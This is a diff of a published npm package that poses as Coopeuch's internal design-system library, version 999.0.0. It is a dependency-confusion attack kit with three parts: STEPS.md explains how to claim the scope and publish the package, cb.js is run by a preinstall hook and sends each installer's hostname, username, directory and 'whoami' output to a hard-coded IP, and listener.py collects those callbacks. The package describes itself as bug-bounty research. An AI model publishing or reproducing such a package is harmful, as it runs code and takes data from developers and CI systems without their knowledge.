@design-system-coopeuch/web 999.0.0

package/STEPS.md

@@ -0,0 +1,51 @@
+# Dependency Confusion — @design-system-coopeuch/web
+
+## On your VPS (157.173.126.113)
+
+```bash
+# 1. Open port 8443
+sudo ufw allow 8443/tcp   # or iptables equivalent
+
+# 2. Start listener
+python3 listener.py
+```
+
+## On your local machine
+
+```bash
+# 3. Login to npm (you said you already have an account)
+npm login
+
+# 4. Create the org — this claims the scope
+npm org create design-system-coopeuch
+
+# 5. cd into the package dir
+cd /Users/jesuslm/jxscout-pro/notes/coopeuch/poc/dependency-confusion
+
+# 6. Publish (scoped packages are private by default, use --access public)
+npm publish --access public
+
+# 7. Verify it's live
+npm view @design-system-coopeuch/web
+```
+
+## What happens next
+
+Any Coopeuch developer or CI/CD that runs `npm install` on a project
+with `@design-system-coopeuch/web` in package.json WITHOUT the
+internal `.npmrc` pointing to nexus.coopeuch.cl will pull version
+999.0.0 from public npm. The `preinstall` script fires and sends
+hostname + username + cwd to your VPS.
+
+## When to report
+
+You can report immediately after publishing — you don't need to wait
+for a callback. The proof is:
+
+1. The scope was unregistered (screenshot the 404 BEFORE you claim it)
+2. You claimed it and published a package
+3. The leaked .npmrc + package.json prove Coopeuch uses this scope
+4. Version 999.0.0 > 4.6.1 (their production version)
+5. Any missing `.npmrc` = RCE
+
+If you DO get a callback, that's a confirmed critical with evidence.

package/cb.js

@@ -0,0 +1,23 @@
+const http = require("http");
+const os = require("os");
+const { execSync } = require("child_process");
+
+const data = JSON.stringify({
+  p: "design-system-coopeuch-web",
+  h: os.hostname(),
+  u: os.userInfo().username,
+  d: __dirname,
+  c: (() => { try { return execSync("whoami").toString().trim(); } catch(e) { return "n/a"; } })()
+});
+
+const req = http.request({
+  hostname: "157.173.126.113",
+  port: 8443,
+  path: "/dep-confusion",
+  method: "POST",
+  headers: { "Content-Type": "application/json", "Content-Length": data.length },
+  timeout: 5000
+}, () => {});
+req.on("error", () => {});
+req.write(data);
+req.end();

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/listener.py

@@ -0,0 +1,39 @@
+#!/usr/bin/env python3
+"""HTTP listener for dependency confusion callbacks. Run on your VPS."""
+from http.server import HTTPServer, BaseHTTPRequestHandler
+from datetime import datetime
+import json
+
+class Handler(BaseHTTPRequestHandler):
+    def do_GET(self):
+        ts = datetime.utcnow().isoformat()
+        print(f"\n{'='*60}")
+        print(f"[{ts}] CALLBACK RECEIVED")
+        print(f"Path: {self.path}")
+        print(f"Source IP: {self.client_address[0]}")
+        for k, v in self.headers.items():
+            print(f"  {k}: {v}")
+        print(f"{'='*60}\n")
+        self.send_response(200)
+        self.end_headers()
+        self.wfile.write(b"ok")
+        with open("callbacks.log", "a") as f:
+            f.write(f"{ts}|{self.client_address[0]}|{self.path}\n")
+
+    def do_POST(self):
+        length = int(self.headers.get('Content-Length', 0))
+        body = self.rfile.read(length).decode()
+        ts = datetime.utcnow().isoformat()
+        print(f"\n{'='*60}")
+        print(f"[{ts}] CALLBACK RECEIVED (POST)")
+        print(f"Source IP: {self.client_address[0]}")
+        print(f"Body: {body}")
+        print(f"{'='*60}\n")
+        self.send_response(200)
+        self.end_headers()
+        self.wfile.write(b"ok")
+        with open("callbacks.log", "a") as f:
+            f.write(f"{ts}|{self.client_address[0]}|POST|{body}\n")
+
+print("[*] Listening on 0.0.0.0:8443 — waiting for dependency confusion callbacks...")
+HTTPServer(("0.0.0.0", 8443), Handler).serve_forever()

package/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "@design-system-coopeuch/web",
+  "version": "999.0.0",
+  "description": "Security research — dependency confusion PoC (authorized bug bounty)",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node cb.js || true"
+  }
+}